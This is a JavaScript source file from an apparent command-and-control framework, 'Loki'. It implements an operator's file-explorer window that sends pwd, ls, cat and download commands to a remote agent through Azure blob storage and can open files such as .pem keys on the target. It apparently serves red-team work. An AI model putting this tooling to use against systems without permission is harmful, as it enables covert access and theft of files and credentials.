1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00
Files
boku7-Loki/client/explorer.js
T
2025-04-03 12:54:39 -07:00

477 lines
16 KiB
JavaScript

const { ipcRenderer } = require("electron");
const crypto = require('crypto');
const az = require('./azure');
const { log } = require('console');
let sortAscending = true;
let containerName = '';
let containerKey;
let containerBlob;
let agentObj;
let agent;
let init_cwd = 0;
let pwd = '';
let mode = '';
let currentFile = '';
function splitStringWithQuotes(str) {
const result = [];
let current = '';
let insideQuotes = false;
let quoteChar = '';
for (let i = 0; i < str.length; i++) {
const char = str[i];
if (insideQuotes) {
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
// Handle escaped quote or backslash
current += str[i + 1];
i++; // Skip the next character
} else if (char === quoteChar) {
// End of quoted string
insideQuotes = false;
result.push(current);
current = '';
} else {
// Inside quoted string
current += char;
}
} else {
if (char === '"' || char === "'") {
// Start of quoted string
insideQuotes = true;
quoteChar = char;
} else if (char === '\\' && str[i + 1] === ' ') {
// Handle escaped space
current += ' ';
i++; // Skip the next character
} else if (char === ' ') {
// Space outside of quotes
if (current.length > 0) {
result.push(current);
current = '';
}
} else {
// Unquoted string
current += char;
}
}
}
// Add the last argument if there's any
if (current.length > 0) {
result.push(current);
}
return result;
}
function generateUUID(len) {
// Generate a random UUID
if (len > 20){len = 20};
const uuid = crypto.randomUUID();
// Remove hyphens and take the first 10 characters
const shortUUID = uuid.replace(/-/g, '').substring(0, len);
return shortUUID;
}
function doDownloadFile(argv)
{
const downloadFile = "'" + argv[1] +"'";
const downloadBlob = generateUUID(10);
const download = {
'file':downloadFile,
'blob':downloadBlob
}
return download;
}
function sendCommand(command) {
let argv = splitStringWithQuotes(command);
log(`argv : ${argv}`);
log(`explorer.js : sendCommand : ${command}`);
log(`containerBlob : ${containerBlob}`);
log(`containerKey : ${containerKey}`);
log(`containerName : ${containerName}`);
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
containerCmd.key = JSON.parse(containerKey);
containerCmd.name = containerName;
containerCmd.cmd = command;
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
let download;
let download_command;
log(`argv[0] : ${argv[0]}`);
if (argv[0] == "download")
{
log(`hit download`);
let currentPath = document.getElementById("dirPath").value.trim();
const concatenated = argv.slice(1).join(" ");
argv[1] = currentPath.endsWith("/") ? currentPath + concatenated : currentPath + "/" + concatenated;
log(`argv : ${argv}`);
download = doDownloadFile(argv);
log(`[+] SendCommand.explorer.js : JSON.stringify(download) \r\n: ${JSON.stringify(download)}`);
download_command = `download ${download['file']} ${download['blob']}`;
log(`[+] SendCommand.explorer.js : command : ${download_command}`);
containerCmd.cmd = download_command;
log("pulling download file");
log(`download['file'] : ${download['file']}`);
log(`download['blob'] : ${download['blob']}`);
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd),download['file'],download['blob']); // Send command and container name
log(`[+] SendCommand.explorer.js : JSON.stringify(containerCmd) \r\n: ${JSON.stringify(containerCmd)}`);
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
//
}
else{
log(`hit all else handler`);
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
}
}
async function initialize() {
log(`Initialize explorer.js`);
mode = "pwd";
sendCommand("pwd");
// listFiles();
}
async function listFiles() {
mode = "list";
sendCommand(`ls ${"'"+document.getElementById("dirPath").value.trim()+"'"}`);
}
async function listFiles_display(lsCommandOutput)
{
// Split output into lines and remove headers
let lines = lsCommandOutput.split("\n").slice(2); // Skip headers and separator line
let files = lines.map(line => {
let parts = line.match(/(.{1,60})\s+(File|Directory)\s+(\d+|-)\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})/);
if (!parts) return null; // Skip invalid lines
return {
name: parts[1].trim(),
type: parts[2] === "Directory" ? "Folder" : "File", // Convert "Directory" to "Folder"
size: parts[3] === '-' ? '-' : parseInt(parts[3]),
created: parts[4],
modified: parts[5]
};
}).filter(item => item !== null); // Remove null entries
// Insert into table
const fileList = document.getElementById("fileList");
fileList.innerHTML = "";
files.forEach(file => {
const row = document.createElement("tr");
row.innerHTML = `
<td class="${file.type === 'Folder' ? 'folder' : 'file'}"
onclick="${file.type === 'Folder' ? `navigateTo('${file.name}')` : `openFile('${file.name}')`}">
${file.name}
</td>
<td>${file.size}</td>
<td>${file.type}</td>
<td>${file.modified}</td>
`;
fileList.appendChild(row);
});
}
async function navigateTo(folderName) {
let currentPath = document.getElementById("dirPath").value.trim();
// Ensure the new path is correctly formatted
let newPath = currentPath.endsWith("/") ? currentPath + folderName : currentPath + "/" + folderName;
document.getElementById("dirPath").value = newPath;
listFiles();
}
async function goBack() {
let currentPath = document.getElementById("dirPath").value.trim();
if (currentPath === "/") return; // Prevent navigating beyond root "/"
// Remove trailing slash if it exists to avoid double counting
if (currentPath.endsWith("/")) {
currentPath = currentPath.slice(0, -1);
}
// Find the new last occurrence of "/"
let lastSlashIndex = currentPath.lastIndexOf("/");
// If there's a parent directory, update the path
if (lastSlashIndex > 0) {
let parentPath = currentPath.substring(0, lastSlashIndex + 1); // Keep trailing slash
document.getElementById("dirPath").value = parentPath;
listFiles();
} else {
document.getElementById("dirPath").value = "/"; // If no more parent, stay at root
listFiles();
}
}
async function openFile(filePath) {
const textExtensions = [".txt", ".json", ".pem", ".log", ".xml", ".md", ".csv", ".ini", ".conf", ".yaml", ".yml",
".js",".bak",".html",".css",".cnf"
];
// Extract file extension
log(`openFile : ${filePath}`);
let fileExt = filePath.substring(filePath.lastIndexOf(".")).toLowerCase();
if (textExtensions.includes(fileExt)) {
mode = 'cat';
log(`Reading file: ${filePath}`);
let currentPath = document.getElementById("dirPath").value.trim();
let catFilePath = currentPath.endsWith("/") ? currentPath + filePath : currentPath + "/" + filePath;
catFilePath = "'" + catFilePath + "'";
currentFile = catFilePath;
sendCommand(`cat ${catFilePath}`);
} else {
log(`Downloading file: ${filePath}`);
sendCommand(`download ${filePath}`);
}
}
function sortTable(columnIndex) {
const table = document.querySelector("tbody");
const rows = Array.from(table.querySelectorAll("tr"));
rows.sort((a, b) => {
let valA = a.children[columnIndex].innerText;
let valB = b.children[columnIndex].innerText;
if (!isNaN(valA) && !isNaN(valB)) {
valA = parseFloat(valA);
valB = parseFloat(valB);
}
return sortAscending ? (valA > valB ? 1 : -1) : (valA < valB ? 1 : -1);
});
sortAscending = !sortAscending;
table.innerHTML = "";
rows.forEach(row => table.appendChild(row));
}
document.getElementById("dirPath").addEventListener("keypress", function(event) {
if (event.key === "Enter") {
listFiles();
}
});
// document.addEventListener("keydown", function(event) {
// if (event.key === "Backspace") goBack();
// });
ipcRenderer.on('command-output', (event, output) => {
try {
if (output) {
if(output === "pushedfile" || !output.substring(0, 3).includes('/')){
const dirPath = document.getElementById('dirPath');
if (!dirPath.value)
{
initialize();
return;
}else{
// listFiles();
}
}
if (mode === "pwd") {
mode = "";
if (!output.endsWith("/")) {
output += "/";
}
//document.getElementById("dirPath").value = output;
document.getElementById("dirPath").value = "C:/";
pwd = output;
listFiles();
}
else if (mode === "list") {
mode = "";
listFiles_display(output);
}
else if (mode === "cat") {
mode = "";
openTextFileInNewWindow(output);
}
}
} catch (error) {
log(`Error in explorer.js:command-output: ${error.message}\r\n${error.stack}`);
}
});
function openTextFileInNewWindow(content) {
// Count number of lines in the content
const lineCount = content.split("\n").length;
const lineHeight = 18; // Approximate height per line in pixels (adjust if needed)
const minHeight = 200; // Minimum window height
const maxHeight = window.screen.height - 100; // Prevent window from being too large
let calculatedHeight = Math.min(Math.max(lineCount * lineHeight + 200, minHeight), maxHeight);
// Open new window with adjusted height
const textWindow = window.open("", "TextViewer", `width=1000,height=${calculatedHeight}`);
if (currentFile.startsWith("'") && currentFile.endsWith("'")) {
currentFile = currentFile.slice(1, -1);
}
textWindow.document.write(`
<html>
<head>
<title>${currentFile}</title>
<style>
body {
font-family: monospace;
white-space: pre-wrap;
margin: 0;
padding: 0;
background: #111;
color: #f8f9f8;
overflow: hidden;
}
.container {
display: flex;
flex-direction: column;
height: 100vh;
}
.header {
padding: 2px;
background: #222;
color: #fff;
text-align: center;
font-size: 18px;
border-bottom: 1px solid #333;
}
.content {
flex: 1;
padding: 2px;
overflow: auto;
}
textarea {
width: 100%;
height: 100%;
background: #222;
color: #fff;
border: none;
padding: 2px;
font-size: 14px;
resize: none;
}
</style>
</head>
<body>
<div class="container">
<div class="content">
<textarea readonly>${content}</textarea>
</div>
</div>
</body>
</html>
`);
}
window.addEventListener('DOMContentLoaded', async () =>
{
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) =>
{
log(`explorer.js : container-data : ${name}`);
try{
containerName = name;
containerKey = JSON.stringify(aes);
containerBlob = JSON.stringify(blobs);
agent = JSON.parse(agentJson);
agentObj = agent;
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
const dirPath = document.getElementById('dirPath');
dirPath.focus();
dirPath.selectionStart = dirPath.selectionEnd = dirPath.value.length; // Ensure cursor is at the end of input
}catch(error)
{
log(error);
}
});
const checkVariables = setInterval(() => {
if (containerName && containerKey && containerBlob && agentObj && agent) {
clearInterval(checkVariables); // Stop the loop when all variables have values
log("All variables have been assigned!");
initialize();
}
}, 100); // Check every 100ms
}
);
document.addEventListener("keydown", function(event) {
const dirPath = document.getElementById("dirPath");
if (!dirPath) return; // Ensure element exists
const isCtrlOrMeta = event.ctrlKey || event.metaKey;
const isAlt = event.altKey;
if (isCtrlOrMeta) {
switch (event.key.toLowerCase()) {
case "c": // Copy
event.preventDefault();
dirPath.select();
document.execCommand("copy");
log("Copied to clipboard:", dirPath.value);
break;
case "a": // Select all
event.preventDefault();
dirPath.select();
log("Selected all text in dirPath");
break;
case "v": // Paste
event.preventDefault();
navigator.clipboard.readText().then((clipboardText) => {
dirPath.value = clipboardText;
log("Pasted:", clipboardText);
}).catch(err => console.error("Failed to read clipboard:", err));
break;
case "x": // Cut
event.preventDefault();
dirPath.select();
document.execCommand("cut");
log("Cut text from dirPath");
break;
case "arrowleft": // Move cursor back one word
event.preventDefault();
moveCursorByWord(dirPath, "left");
log("Moved cursor back one word");
break;
case "arrowright": // Move cursor forward one word
event.preventDefault();
moveCursorByWord(dirPath, "right");
log("Moved cursor forward one word");
break;
}
}
});
// Function to move cursor by one word
function moveCursorByWord(input, direction) {
let pos = input.selectionStart;
let value = input.value;
if (direction === "left") {
while (pos > 0 && value[pos - 1] === " ") pos--; // Skip spaces
while (pos > 0 && value[pos - 1] !== " ") pos--; // Move to start of the word
} else if (direction === "right") {
while (pos < value.length && value[pos] === " ") pos++; // Skip spaces
while (pos < value.length && value[pos] !== " ") pos++; // Move to end of the word
}
input.selectionStart = input.selectionEnd = pos;
}